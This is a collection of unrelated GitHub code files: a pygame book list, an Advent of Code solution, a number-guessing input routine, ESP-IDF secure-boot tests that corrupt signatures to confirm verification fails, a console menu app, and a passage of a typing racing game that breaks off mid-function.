+{"seq_id":"10732724135","text":"import pygame\nimport json\nimport withui as wui\nfrom conf import conf\nfrom book import Book\n\n\nclass App:\n    def __init__(self, main):\n        self.main = main\n        self.screen: pygame.Surface = main.screen\n\n        with wui.VCont(size=conf.size, **wui.NORESIZE, **wui.SCROLLABLE) as main_cont:\n            self.main_cont = main_cont\n            self.title_label = wui.Label(\n                font_size=conf.title_fs, parent_anchor=\"center\")\n            wui.ext.TypingAnimation(\n                self.title_label, \"Personal Book List\").start()\n\n        self.make_add_button()\n        self.books: list[Book] = []\n\n    def load(self):\n        with open(\"data/data.json\", \"r\") as file:\n            data = json.load(file)\n            for book_data in data[\"books\"]:\n                self.add_book(book_data)\n        self.books = sorted(self.books, key=lambda book: book.completed)\n\n    def save(self):\n        self.books = sorted(self.books, key=lambda book: book.completed)\n        with open(\"data/data.json\", \"w\") as file:\n            data = {\"books\": [book.get_data() for book in self.books]}\n            json.dump(data, file)\n\n    def add_book(self, book_data):\n        self.add_button.kill()\n        book = Book(self, book_data)\n        self.books.append(book)\n        self.make_add_button()\n\n    def make_add_button(self):\n        with self.main_cont:\n            self.add_button = wui.Button(text=\"Add Book\", width=conf.add_btn_w, auto_resize_h=False,\n                                         on_click=self.new_book, parent_anchor=\"center\", **wui.Themes.GREEN)\n\n    def new_book(self, e):\n        self.add_book(conf.empty_data.copy())\n\n    def quit(self):\n        self.save()\n","repo_name":"Damus666/PersonalBookList","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39610358247","text":"with open(\"day-01-input.txt\", 'r') as f:\n    digits = f.readline()\n\ndigits = list(map(int,digits))\n\ntotal = 0\n\nfor i in range(len(digits)-1):\n    if digits[i] == digits[i+1]:\n        total += digits[i]\n\nif digits[0:1] == digits[-1:]:\n    total += digits[0]\n\nprint(\"Part One:\", total)\n\ndigits = digits[:] + digits[:]\n\ntotalb = 0\n\nfor i in range(len(digits)//2 ):\n    if digits[i] == digits[i+len(digits)//4]:\n        totalb += digits[i]\n\nprint(\"Part Two:\", totalb)","repo_name":"jareddrayton/Advent-of-Code","sub_path":"advent_of_code_2017/day-01/day-01.py","file_name":"day-01.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72436817683","text":"def getUserInput():\n    print(\"=================================================\")\n    print(\"You have to guess the correct number !\")\n    print(\"The answer code is 4-digit number with different number in each digit\\n\")\n    print(\"=================================================\")\n    length = False\n    diff_digit = False\n    while not (length & diff_digit):\n        if not length:\n            print(\"You have to Enter 4-digit number!\")\n        if not diff_digit:\n            print(\"You have to enter different number in each digit!\")\n        \n        input_num = input(\"Guess the number : \")\n        length = (len(input_num) == 4)\n        if not length : \n            diff_digit = True\n            continue\n        \n        numlist = list(map(int, input_num))\n        diff_digit = (len(set(numlist)) == 4)\n        \n    print(\"You enetered proper input code :\", input_num)\n\ngetUserInput()\n\n","repo_name":"BE-team6/Bulls-and-Cows-team","sub_path":"userinput.py","file_name":"userinput.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"28091199895","text":"from __future__ import print_function\n\nimport os\nimport struct\nimport zlib\n\nimport pytest\nfrom pytest_embedded import Dut\n\n# To prepare a runner for these tests,\n# 1. Connect an FPGA with C3 image\n# 2. Use a COM port for programming and export it as ESPPORT\n#    e.g export ESPPORT=/dev/ttyUSB0\n# 3. Use another COM port for resetting efuses and connect its DTR pin to efuse reset pin on the FPGA board.\n#    Export it as EFUSEPORT\n#    e.g export EFUSEPORT=/dev/ttyUSB1\n# 4. Run these tests\n\n\ndef corrupt_signature(signed_bootloader, seed=0, corrupt_sig=True, corrupt_crc=False, corrupt_single_block=None):\n    # type: (bytes, int, bool, bool, int) -> bytes\n    image = signed_bootloader[:-4096]\n    signature = signed_bootloader[-4096:]\n    sig_blocks = (signature[0:1216], signature[1216:2432], signature[2432:3648])\n    new_blocks = tuple(corrupt_sig_block(s, seed, corrupt_sig, corrupt_crc) for s in sig_blocks)\n\n    # if corrupt_single_block is None, corrupt all blocks\n    # otherwise, only corrupt the one with that index set\n    corr_sig_blocks = tuple(new_blocks[n] if corrupt_single_block in [None, n] else sig_blocks[n] for n in range(3))\n\n    return image + b''.join(corr_sig_blocks) + signature[3648:]\n\n\ndef corrupt_sig_block(sig_block, seed=0, corrupt_sig=True, corrupt_crc=False):\n    # type: (bytes, int, bool, bool) -> bytes\n    assert len(sig_block) == 1216\n    magic = sig_block[0]\n    assert magic in [0xe7, 0xff]\n    if magic != 0xe7:\n        return sig_block  # not valid\n    data = sig_block[:812]\n    new_sig = sig = sig_block[812:1196]\n    crc = sig_block[1196:1200]\n    padding = sig_block[1200:1216]\n\n    if corrupt_sig:\n        corrupt_idx = seed % len(sig)\n        corrupt_delta = zlib.crc32(bytes(seed)) & 0xFF\n        if corrupt_delta == 0:\n            corrupt_delta = 1\n\n        new_byte = sig[corrupt_idx] ^ corrupt_delta\n\n        new_sig = sig[0:corrupt_idx] + bytes([new_byte]) + sig[corrupt_idx + 1:]\n\n        assert new_sig != sig\n\n    if not corrupt_crc:\n        crc = struct.pack('<I', zlib.crc32(data + new_sig) & 0xffffffff)\n    else:\n        crc = struct.pack('<I', zlib.crc32(crc))\n\n    result = data + new_sig + crc + padding\n    assert len(result) == len(sig_block)\n    return result\n\n\ndef dut_start_secure_app(dut: Dut) -> None:\n    dut.serial.erase_app_header()\n    dut.serial.reset_efuses()\n    dut.burn_wafer_version()\n\n    dut.serial.bootloader_flash(os.path.join(dut.app.binary_path, 'bootloader/bootloader.bin'))\n    dut.serial.partition_table_flash(os.path.join(dut.app.binary_path, 'partition_table/partition-table.bin'))\n    dut.serial.app_flash(os.path.join(dut.app.binary_path, 'secure_boot.bin'))\n\n\n# Test secure boot flow.\n# Correctly signed bootloader + correctly signed app should work\n@pytest.mark.esp32c3\n@pytest.mark.esp32s3\n@pytest.mark.esp32p4\ndef test_examples_security_secure_boot(dut: Dut) -> None:\n    dut_start_secure_app(dut)\n    dut.expect('Secure Boot is enabled', timeout=10)\n    dut.serial.reset_efuses()\n    dut.burn_wafer_version()\n\n\n# Test efuse key index and key block combination.\n# Any key index can be written to any key block and should work\n@pytest.mark.esp32c3\n@pytest.mark.esp32s3\n@pytest.mark.esp32p4\n# Increasing the test timeout to 1200s as the test runs for 18 iterations\n# and thus the default 600s timeout is not sufficient\n@pytest.mark.timeout(1200)\ndef test_examples_security_secure_boot_key_combo(dut: Dut) -> None:\n    dut_start_secure_app(dut)\n    dut.expect('Secure Boot is enabled', timeout=10)\n    for index in range(3):\n        for block in range(6):\n            dut.serial.reset_efuses()\n            dut.burn_wafer_version()\n            dut.secure_boot_burn_en_bit()\n            dut.secure_boot_burn_digest('test_rsa_3072_key.pem', index, block)\n            dut.expect('Secure Boot is enabled', timeout=10)\n    dut.serial.reset_efuses()\n    dut.burn_wafer_version()\n\n\n# Test secure boot key revoke.\n# If a key is revoked, bootloader signed with that key should fail verification\n@pytest.mark.esp32c3\n@pytest.mark.esp32s3\n@pytest.mark.esp32p4\ndef test_examples_security_secure_boot_key_revoke(dut: Dut) -> None:\n    dut_start_secure_app(dut)\n    dut.expect('Secure Boot is enabled', timeout=10)\n    for index in range(3):\n        dut.serial.reset_efuses()\n        dut.burn_wafer_version()\n        dut.secure_boot_burn_en_bit()\n        dut.serial.burn_efuse('SECURE_BOOT_KEY_REVOKE%d' % index, 1)\n        dut.secure_boot_burn_digest('test_rsa_3072_key.pem', index, 0)\n        dut.expect('secure boot verification failed', timeout=5)\n    dut.serial.reset_efuses()\n    dut.burn_wafer_version()\n\n\n# Test bootloader signature corruption.\n# Corrupt one byte at a time of bootloader signature and test that the verification fails\n@pytest.mark.esp32c3\n@pytest.mark.esp32s3\n@pytest.mark.esp32p4\n@pytest.mark.timeout(18000)\n# Increasing the test timeout to 18000s as the test runs for 384 iterations\n# and thus the default 600s timeout is not sufficient\ndef test_examples_security_secure_boot_corrupt_bl_sig(dut: Dut) -> None:\n    dut_start_secure_app(dut)\n    dut.expect('Secure Boot is enabled', timeout=10)\n\n    bootloader_bin = os.path.join(dut.app.binary_path, 'bootloader/bootloader.bin')\n    with open(bootloader_bin, 'rb') as f:\n        signed_bl = f.read()\n\n    seeds = range(0, 384)\n    max_seed = max(seeds)\n\n    for seed in seeds:\n        print('Case %d / %d' % (seed, max_seed))\n        corrupt_bl = corrupt_signature(signed_bl, seed=seed)\n        with open('corrupt_bl.bin', 'wb') as corrupt_file:\n            corrupt_file.write(corrupt_bl)\n        dut.serial.reset_efuses()\n        dut.burn_wafer_version()\n        dut.serial.bootloader_flash('corrupt_bl.bin')\n        dut.secure_boot_burn_en_bit()\n        dut.secure_boot_burn_digest('test_rsa_3072_key.pem', 0, 0)\n        # Though the order of flashing and burning efuse would not effect the test,\n        # if we flash bootlader before burning en bit, even with no_stub = True\n        # it still calls run_stub() and throws an error as it fails to start stub.\n        dut.expect('Signature Check Failed', timeout=10)\n    dut.serial.reset_efuses()\n    dut.burn_wafer_version()\n\n\n# Test app signature corruption.\n# Corrupt app signature, one byte at a time, and test that the verification fails\n@pytest.mark.esp32c3\n@pytest.mark.esp32s3\n@pytest.mark.esp32p4\n@pytest.mark.timeout(18000)\n# Increasing the test timeout to 18000s as the test runs for 385 iterations\n# and thus the default 600s timeout is not sufficient\ndef test_examples_security_secure_boot_corrupt_app_sig(dut: Dut) -> None:\n    dut_start_secure_app(dut)\n    dut.expect('Secure Boot is enabled', timeout=10)\n\n    app_bin = os.path.join(dut.app.binary_path, 'secure_boot.bin')\n    with open(app_bin, 'rb') as f:\n        signed_app = f.read()\n\n    seeds = range(0, 384)\n    max_seed = max(seeds)\n\n    for seed in seeds:\n        print('Case %d / %d' % (seed, max_seed))\n        corrupt_app = corrupt_signature(signed_app, seed=seed)\n        with open('corrupt_app.bin', 'wb') as corrupt_file:\n            corrupt_file.write(corrupt_app)\n        dut.serial.reset_efuses()\n        dut.burn_wafer_version()\n        dut.serial.app_flash('corrupt_app.bin')\n        dut.secure_boot_burn_en_bit()\n        dut.secure_boot_burn_digest('test_rsa_3072_key.pem', 0, 0)\n        dut.expect('Signature Check Failed', timeout=10)\n        dut.expect('image valid, signature bad', timeout=2)\n\n    print('Testing invalid CRC...')\n    # Valid signature but invalid CRC\n    dut.serial.reset_efuses()\n    dut.burn_wafer_version()\n\n    corrupt_app = corrupt_signature(signed_app, corrupt_sig=False, corrupt_crc=True)\n    with open('corrupt_app.bin', 'wb') as corrupt_file:\n        corrupt_file.write(corrupt_app)\n\n    dut.serial.app_flash('corrupt_app.bin')\n\n    dut.secure_boot_burn_en_bit()\n    dut.secure_boot_burn_digest('test_rsa_3072_key.pem', 0, 0)\n\n    dut.expect('Sig block 0 invalid: {}'.format('CRC mismatch' if dut.target == 'esp32p4' else 'Stored CRC ends'), timeout=2)\n    dut.expect('Secure boot signature verification failed', timeout=2)\n    dut.expect('No bootable app partitions in the partition table', timeout=2)\n","repo_name":"espressif/esp-idf","sub_path":"tools/test_apps/security/secure_boot/pytest_secure_boot.py","file_name":"pytest_secure_boot.py","file_ext":"py","file_size_in_byte":8131,"program_lang":"python","lang":"en","doc_type":"code","stars":11541,"dataset":"github-code","pt":"3"}
+{"seq_id":"18135221988","text":"import numpy as np\nimport time\n\nfor i in range(10) :\n    print(\"test\" , i)\n    a = np.zeros(5)\n    print(a)\n    time.sleep(3)\n\n#import tensorflow as tf\n#tf.enable_eager_execution()\n#print(tf.reduce_sum(tf.random_normal([1000, 1000])))\n","repo_name":"OgLocGreen/Docker-Tensorflow-Sonnet","sub_path":"nvidia-test/code/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"16624614992","text":"import os\n\nfrom Core.Presenter import Presenter\nfrom UI.ConsoleView import ConsoleView\n\nclass App:\n    def clear_console(self):\n        os.system('cls' if os.name == 'nt' else 'clear')\n\n    def run(self):\n        self.clear_console()\n        view = ConsoleView()\n        presenter = Presenter(view)\n\n        while True:\n            \n            key = int(view.main_menu())\n            self.clear_console()\n            if key == 1:\n                presenter.add()\n            elif key == 2:\n                presenter.figures_info()\n            elif key == 3:\n                presenter.remove()\n            elif key == 4:\n                return\n            else:\n                print(\"Нет такой команды\")","repo_name":"niger23/java_progects","sub_path":"HomeWorks/HomeWorks013/UI/App.py","file_name":"App.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30582712790","text":"import libtcodpy as tcod\n\nimport circuits\nfrom context import Context\nimport global_data as g\nfrom input_handlers import handle_keys\nfrom interval_stat import Interval_Stat\nimport lexicons as lex\nfrom physics import *\nfrom race import Race\nimport random\nfrom render import *\nfrom song_generator import build_song\nfrom team import Team\nimport teams as t\nimport time\nfrom vehicle import Vehicle\nimport vehicle_bodies\n\n\n###############################################################################\n# Context handlers\n###############################################################################\n# These are the major functions of the game (and their helper functions) that\n# cause the game to run.\n###############################################################################\n\n\n# Helper functions\n###############################################################################\n\n\n# build_race_stats\n#\n# returns list of Interval_Stat objects in proper order\ndef build_race_stats(race):  \n  ordered_race_stats = []\n\n  # Teams that have finished are locked in place based on finishing info\n  already_finished = [] # This will make things simpler later in the function\n  for place_team in race.finished_teams:\n    place = place_team[0]\n    team = place_team[1]\n    time = str(format(round((race.finish_times[team]), 2), '.2f'))\n    ordered_race_stats.append(Interval_Stat(place_team[0], place_team[1], time))\n    already_finished.append(team)\n\n  sorted_teams = sorted(race.teams, key=get_distance_traveled, reverse=True)\n\n  # Now list non-finished teams\n  counter = 1\n  for team in sorted_teams:\n    place = counter\n    if team not in already_finished:\n      dist_to_first = sorted_teams[0].vehicle.distance_traveled - team.vehicle.distance_traveled\n\n      # Check for tie with most recently checked vehicle\n      if len(ordered_race_stats) > 0:\n        if team.vehicle.distance_traveled == ordered_race_stats[len(ordered_race_stats) - 1].team.vehicle.distance_traveled:\n          place = ordered_race_stats[len(ordered_race_stats) - 1].place\n\n      interval = '----'\n      if (team.vehicle.speed >= 1):\n        interval = '+' + str(format(round((dist_to_first / team.vehicle.speed), 2), '.2f'))\n      ordered_race_stats.append(Interval_Stat(place, team, interval))\n    counter += 1\n\n  return ordered_race_stats\n\n\ndef check_key_char_input(pressed_key_char, lyrics, active_lyrics_character):\n  target_char = lyrics[active_lyrics_character].lower()\n  correct = pressed_key_char.lower() == target_char\n  \n  if correct:\n    return True\n  else:\n    return False\n\n    \ndef finish_race(race, team, time):\n  # Update race finishing places and times ####################################\n\n  finished_teams_count = len(race.finished_teams)\n\n  # First check and see if this team ties with another\n  tie_occurred = False\n  if finished_teams_count > 0:\n    latest_place = race.finished_teams[finished_teams_count - 1][0]\n    latest_team = race.finished_teams[finished_teams_count - 1][1]\n    latest_time = race.finish_times[latest_team]\n\n    # If this team ties with the previously finished team\n    if latest_time == time:\n      tie_occurred = True\n      # Update pertinent info\n      race.finished_teams.append((latest_place, team))\n\n  if not tie_occurred:\n    finishing_place = finished_teams_count + 1\n    race.finished_teams.append((finishing_place, team))\n\n  # This happens the same way regardless of a tie\n  race.finish_times[team] = time\n\n\n  # Misc other things to take care of #########################################\n  team.finished_current_race = True\n  team.vehicle.acceleration = 0\n\n\ndef get_distance_traveled(team):\n  return team.vehicle.distance_traveled\n\n\n# get_race_intro\n#\n# Returns list of tuples containing the line of text that should be displayed,\n# coupled with the time (in seconds) to display each.\ndef get_race_intro(song_title, lexicon, circuit):\n  announcement = [\n    ('Welcome to the {}!'.format(circuit.name), 1.5),\n    ('Today you will be playing the hit {} song'.format(lexicon.name), 1.5),\n    ('Today you will be playing the hit {} song'.format(lexicon.name) + '\\n' + '\\n' + '\\n' + '\"{}\"'.format(song_title), 2.5),\n    ('Get ready!', 1.5),\n    ('Get ready!' + '\\n' + '\\n' + '\\n' + '\\n' + '%c%c%c%c*%c'%(tcod.COLCTRL_FORE_RGB, tcod.red.r + 256, tcod.red.g + 256, tcod.red.b + 256, tcod.COLCTRL_STOP), 1),\n    ('Get ready!' + '\\n' + '\\n' + '\\n' + '\\n' + '%c%c%c%c* * *%c'%(tcod.COLCTRL_FORE_RGB, tcod.red.r + 256, tcod.red.g + 256, tcod.red.b + 256, tcod.COLCTRL_STOP), 1),\n    ('Get ready!' + '\\n' + '\\n' + '\\n' + '\\n' + '%c%c%c%c* * * * *%c'%(tcod.COLCTRL_FORE_RGB, tcod.red.r + 256, tcod.red.g + 256, tcod.red.b + 256, tcod.COLCTRL_STOP), 1),\n  ]\n\n  return announcement\n\n\n# Returns dictionary in following format:\n# {\n#   'value': program-usable value of response,\n#   'string': string representation of response,\n#   'confirmed': bool describing whether input is complete\n# } \ndef handle_option_selection(key, options):\n  confirmed = False\n  action = handle_keys(key)\n  pressed_key_char = action.get('key_char')\n  if pressed_key_char != None:\n    pressed_key_char = pressed_key_char.lower()\n  response = None\n  response_text = ''\n  if pressed_key_char in g.ALPHABET:\n    index = g.ALPHABET.index(pressed_key_char)\n    if index < len(options):\n      response = options[index][0]\n      response_text = options[index][1]\n      confirmed = True\n\n  return {\n    'value': response,\n    'string' : response_text,\n    'confirmed': confirmed\n  }\n\n\n# handle_questions\n#\n# Takes a dict of questions:options, prints them to the screen, and returns\n# the responses in list form. Options should be provided as lists of\n# value:string tuples. If the question requires a text-input response,\n# provide an empty list argument for the options.\ndef handle_questions(con, key, mouse, questions_options, con_y_pos=0):\n  static_text_to_print = []\n  responses = []\n  for question, options in questions_options.items():\n    response = ''\n    confirmed = False\n    static_text_to_print.append(question)\n\n    while not confirmed:\n      tcod.sys_check_for_event(tcod.EVENT_KEY_PRESS, key, mouse)       \n      tcod.console_clear(con)\n      tcod.console_set_default_foreground(con, tcod.sea)\n      tcod.console_set_default_background(con, tcod.black)\n\n      # For open text input\n      if len(options) == 0:     \n        response_data = handle_text_input(key, response)\n        response = response_data['value']\n        response_line = '> ' + response_data['string']\n        confirmed = response_data['confirmed']\n        tcod.console_print_rect_ex(con, 0, len(static_text_to_print), g.screen_width, g.screen_height, tcod.BKGND_SET, tcod.LEFT, response_line)\n      # For input with discreet options\n      else:\n        response_data = handle_option_selection(key, options)\n        response = response_data['value']\n        response_text = response_data['string']\n        response_line = '> ' + response_text\n        confirmed = response_data['confirmed']\n        # Display options\n        for x in range(0, len(options)):\n          option_text = g.ALPHABET[x] + '. ' + options[x][1]\n          tcod.console_print_rect_ex(con, 0, len(static_text_to_print) + x, g.screen_width, g.screen_height, tcod.BKGND_SET, tcod.LEFT, option_text)\n\n      # Once we get a response, do this stuff:\n      if confirmed:\n        if len(options) > 0:\n          # Clear to remove list of options\n          tcod.console_clear(con)\n        static_text_to_print.append(response_line)\n        responses.append(response)\n\n      # Do this stuff every time no matter what\n      for x in range(0, len(static_text_to_print)):\n        tcod.console_print_rect_ex(con, 0, x, g.screen_width, g.screen_height, tcod.BKGND_SET, tcod.LEFT, static_text_to_print[x])\n      tcod.console_blit(con, 0, 0, g.screen_height, g.screen_height, 0, 0, con_y_pos)\n      tcod.console_flush()\n\n\n  time.sleep(0.2)\n  return responses\n\n\n# Returns dictionary in following format:\n# {\n#   'value': program-usable value of response,\n#   'string': string representation of response,\n#   'confirmed': bool describing whether input is complete\n# } \ndef handle_text_input(key, response):\n  confirmed = False\n  action = handle_keys(key)\n  pressed_key_char = action.get('key_char')\n  pressed_backspace = action.get('backspace')\n  pressed_enter = action.get('confirm')\n\n  RESPONSE_MAX = 30\n  if pressed_key_char and len(response) < RESPONSE_MAX:\n    response += pressed_key_char\n  elif pressed_backspace:\n    response = response[:-1]\n  elif pressed_enter:\n    confirmed = True\n\n  return {\n    'value': response,\n    'string': response,\n    'confirmed': confirmed\n  }\n\n\n# Handler functions\n###############################################################################\n\ndef do_main_menu(key, mouse):\n  title_panel_h = 28\n  title_panel = tcod.console_new(g.screen_width, title_panel_h)\n  tcod.console_set_alignment(title_panel, tcod.LEFT)\n  tcod.console_set_default_foreground(title_panel, tcod.blue)\n  for x in range(0, len(g.TITLE_GRAPHIC_TOP)):\n    tcod.console_print_ex(title_panel, 1, x + 1, tcod.BKGND_SET, tcod.LEFT, g.TITLE_GRAPHIC_TOP[x][0])\n\n  for x in range(0, len(g.TITLE_GRAPHIC_BOTTOM)):\n    tcod.console_print_ex(title_panel, 1, x + 4 + len(g.TITLE_GRAPHIC_TOP), tcod.BKGND_SET, tcod.LEFT, g.TITLE_GRAPHIC_BOTTOM[x][0])\n\n  selection_panel = tcod.console_new(g.screen_width, g.screen_height - title_panel_h)\n  tcod.console_set_alignment(selection_panel, tcod.LEFT)\n  tcod.console_set_default_foreground(selection_panel, tcod.sea)\n\n  title_colors = [\n    tcod.azure,\n    tcod.cyan,\n    tcod.dark_purple,\n    tcod.dark_violet,\n    tcod.fuchsia,\n    tcod.light_gray,\n    tcod.purple,\n    tcod.sea,\n    tcod.turquoise,\n  ]\n\n  g.lexicon_counter = 0\n\n  questions_options = {\n    '': [\n      ('start', 'Start'),\n      ('exit', 'Exit game')\n    ]\n  }\n\n  waiting_for_response = True\n  while waiting_for_response:\n    for y in range(1, 1 + len(g.TITLE_GRAPHIC_TOP)):\n      color_index = random.randint(0, len(title_colors) - 1)\n      for x in range(0, g.screen_width):\n        tcod.console_set_char_foreground(title_panel, x, y, title_colors[color_index])\n    \n    tcod.console_blit(title_panel, 0, 0, g.screen_width, title_panel_h, 0, 0, 0)\n\n    tcod.sys_check_for_event(tcod.EVENT_KEY_PRESS, key, mouse)\n    selection = handle_questions(selection_panel, key, mouse, questions_options, 24)\n    if len(selection) > 0:\n      if selection[0] == 'start':\n        g.context = Context.TEAM_CREATION\n        waiting_for_response = False\n      elif selection[0] == 'exit':\n        g.context = Context.EXIT\n        waiting_for_response = False\n\n  tcod.console_clear(title_panel)\n  tcod.console_blit(title_panel, 0, 0, g.screen_width, title_panel_h, 0, 0, 0)\n  tcod.console_clear(selection_panel)\n  tcod.console_blit(selection_panel, 0, 0, g.screen_width, title_panel_h, 0, 0, 0)\n  tcod.console_flush()\n\n\n# do_post_race\n#\n# Store points for this race in the season data, and print post-race display\ndef do_post_race(key, mouse):\n  finished_race = g.season.races[g.season.current_race]\n\n  full_panel = tcod.console_new(g.screen_width, g.screen_height)\n  tcod.console_set_alignment(full_panel, tcod.CENTER)\n  tcod.console_set_default_foreground(full_panel, tcod.sea)\n\n  tcod.console_clear(full_panel)\n\n  title = finished_race.circuit.name + ' Results'\n  tcod.console_print_frame(full_panel, 1, 1, g.screen_width - 2, g.screen_height - 2, False, tcod.BKGND_DEFAULT, title)\n\n  LINE_LENGTH = 50\n  header = 'Team' + (' ' * (LINE_LENGTH - 10)) + 'Points'\n  underline = '=' * LINE_LENGTH\n  tcod.console_print_ex(full_panel, 30, 20, tcod.BKGND_SET, tcod.LEFT, header)\n  tcod.console_print_ex(full_panel, 30, 21, tcod.BKGND_SET, tcod.LEFT, underline)\n  for place, team in finished_race.places.items():\n    # Record point data\n    points = g.POINTS[place]\n    g.season.standings[team] += points\n\n    # Print info\n    place_name = str(place) + '. ' + team.name\n    point_string = str(points)\n    space_count = LINE_LENGTH - (len(place_name) + len(point_string))\n    line = place_name + (' ' * space_count) + point_string\n\n    tcod.console_print_ex(full_panel, 30, 21 + place, tcod.BKGND_SET, tcod.LEFT, line)\n\n  tcod.console_blit(full_panel, 0, 0, g.screen_width, g.screen_height, 0, 0, 0)\n  tcod.console_flush()\n\n  # Wait for `tcod.Enter` to continue\n  confirm = False\n  while not confirm:\n    tcod.sys_check_for_event(tcod.EVENT_KEY_PRESS, key, mouse)\n    action = handle_keys(key)\n    confirm = action.get('confirm')\n  \n  if confirm:\n    g.season.current_race += 1\n    g.context = Context.SEASON_OVERVIEW\n\n\ndef do_race(key, mouse):\n  bottom_viewport_height = 7  \n  main_viewport_height = g.screen_height - bottom_viewport_height\n  main_viewport_width = g.MAIN_VIEWPORT_WIDTH\n  side_viewport_width = g.screen_width - main_viewport_width\n  main_viewport = tcod.console_new(main_viewport_width, main_viewport_height)\n\n  bottom_viewport_y = g.screen_height - bottom_viewport_height\n  bottom_viewport = tcod.console_new(main_viewport_width, bottom_viewport_height)\n  tcod.console_set_alignment(bottom_viewport, tcod.LEFT)\n\n  side_viewport_x = g.screen_width - side_viewport_width  \n  side_viewport = tcod.console_new(side_viewport_width, g.screen_height)\n\n  intro_w = int(g.screen_width * .35)\n  intro_h = int(g.screen_height * .20)\n  intro_x = int(g.screen_width * 0.5 - intro_w * 0.5)\n  intro_y = int(g.screen_height * 0.5 - intro_h * 0.5)\n  intro_window = tcod.console_new(intro_w, intro_h)\n  tcod.console_set_alignment(intro_window, tcod.CENTER)\n  tcod.console_set_default_foreground(intro_window, tcod.sea)\n\n  lexicon = lex.genres_lexicons[g.lexicon_counter][0]\n  title_and_song = build_song(lexicon)\n  race = Race(g.season.teams, g.season.circuits[g.season.current_race], title_and_song[1], title_and_song[0])\n\n  # Reset stuff\n  for x in range(0, len(race.teams)):\n    race.teams[x].reset()\n\n  teams = race.teams\n  player_team_index = 0\n  lane_count = len(race.teams)\n  track_width = ((race.lane_size + 1) * lane_count) + 1\n  BASE_OFFSET_TO_CENTER = int((g.MAIN_VIEWPORT_WIDTH - track_width) / 2)\n  for x in range(0, len(teams)):\n    if (teams[x].isPlayer):\n      player_team_index = x\n    teams[x].vehicle.x = BASE_OFFSET_TO_CENTER + (x * (race.lane_size + 1)) + 2\n\n  exit_game = False\n  lyrics = race.lyrics\n  vehicles_collided = set([])\n  active_lyrics_character = 0\n  keypress_timer = 99999\n  race_finished = False\n  race_started = False\n  verse = 0\n  song_completed = False\n  barricade_locations = [] # holds tuples of x, y barricade locations\n  intro_lines = get_race_intro(title_and_song[0], lexicon, race.circuit)\n  current_intro_line = 0\n  first_frame = True\n  time_elapsed_last_frame = 0\n  race_start_time = tcod.sys_elapsed_seconds()\n  while not race_finished and not exit_game:\n    tcod.sys_check_for_event(tcod.EVENT_KEY_PRESS, key, mouse)\n    keypress_timer += tcod.sys_get_last_frame_length()\n    total_time_elapsed = tcod.sys_elapsed_seconds()\n        \n    if race_started:\n      if not first_frame:\n        time_elapsed_last_frame = tcod.sys_get_last_frame_length()\n      for team in teams:\n        team.ai_run_counters()\n        # Apply collision physics if needed\n        if team.vehicle in vehicles_collided:\n          handle_post_collision(team)\n\n        else:\n          if team.vehicle.distance_traveled >= len(race.circuit.track_shape) and not team.finished_current_race:\n            finish_race(race, team, total_time_elapsed - race_start_time)\n\n          # Control player vehicle\n          if team.isPlayer and not team.finished_current_race:\n            action = handle_keys(key)\n            pressed_key_char = action.get('key_char')\n            steer = action.get('steer')\n            exit = action.get('exit')\n            if not song_completed:\n              powerpct = g.get_powerpct_from_keyspeed(keypress_timer)\n            else:\n              powerpct = 1\n            team.vehicle.apply_power(powerpct)\n\n            if pressed_key_char and not song_completed:\n              correct = check_key_char_input(pressed_key_char, race.lyrics[verse], active_lyrics_character)\n              if correct:\n                keypress_timer = 0.0\n                active_lyrics_character += 1\n                if (active_lyrics_character >= len(lyrics[verse])):\n                  active_lyrics_character = 0\n                  verse += 1\n                  if verse >= len(lyrics):\n                    song_completed = True\n\n              else:\n                # TODO: mis-steer\n                pass\n\n            if steer and team.vehicle.speed > 0: # Can only steer if moving\n              teams[player_team_index].vehicle.x += steer\n            \n            if exit:\n              exit_game = True\n\n          # If team is not player\n          elif not team.finished_current_race:\n            direction = team.ai_determine_direction()\n            if direction == td.LEFT:\n              team.vehicle.x += -1\n            elif direction == td.RIGHT:\n              team.vehicle.x += 1\n            team.ai_apply_power()\n\n          # If team has reached the finish line\n          else:\n            team.vehicle.apply_power(0)\n            # Don't have time to do proper checks to wait for all teams to\n            # finsh race. For now, just wait until the player team's vehicle\n            # has coasted to a stop, and then take everyone's place from that\n            # moment.\n            if team.isPlayer and team.vehicle.speed == 0:\n              race_finished = True\n\n        # Apply acceleration, determine speed\n        speed_to_add = time_elapsed_last_frame * team.vehicle.acceleration\n        team.vehicle.speed += speed_to_add\n        if team.vehicle.speed > team.vehicle.current_max_speed_from_power:\n          team.vehicle.speed -= 0.1\n        if team.vehicle.speed > team.vehicle.max_speed:\n          team.vehicle.speed = team.vehicle.max_speed\n        elif team.vehicle.speed < 0:\n          team.vehicle.speed = 0\n        distance_traveled_this_frame = time_elapsed_last_frame * team.vehicle.speed\n\n        team.ai_observe_curves(race.circuit.track_layout, int(team.vehicle.distance_traveled + distance_traveled_this_frame) - int(team.vehicle.distance_traveled)) # This HAS to come first\n        team.vehicle.distance_traveled += distance_traveled_this_frame\n        \n\n      # Check for collisions\n      vehicles_collided.clear()\n      handle_collisions(race, vehicles_collided, barricade_locations)\n\n      first_frame = False\n\n    # Render\n    tcod.console_clear(main_viewport)\n    print_race(main_viewport, race, int(teams[player_team_index].vehicle.y), int(teams[player_team_index].vehicle.distance_traveled), barricade_locations)\n    tcod.console_blit(main_viewport, 0, 0, g.screen_width, g.screen_height, 0, 0, 0,)\n\n    tcod.console_clear(bottom_viewport)\n    if not song_completed:\n      print_lyrics(bottom_viewport, race.lyrics[verse], active_lyrics_character)\n    tcod.console_blit(bottom_viewport, 0, 0, main_viewport_width, bottom_viewport_height, 0, 0, bottom_viewport_y)\n\n    tcod.console_clear(side_viewport)\n    print_panel_side(side_viewport, build_race_stats(race), side_viewport_width)\n    tcod.console_blit(side_viewport, 0, 0, side_viewport_width, g.screen_height - bottom_viewport_height, 0, side_viewport_x, 0)\n\n    if not race_started:\n      # 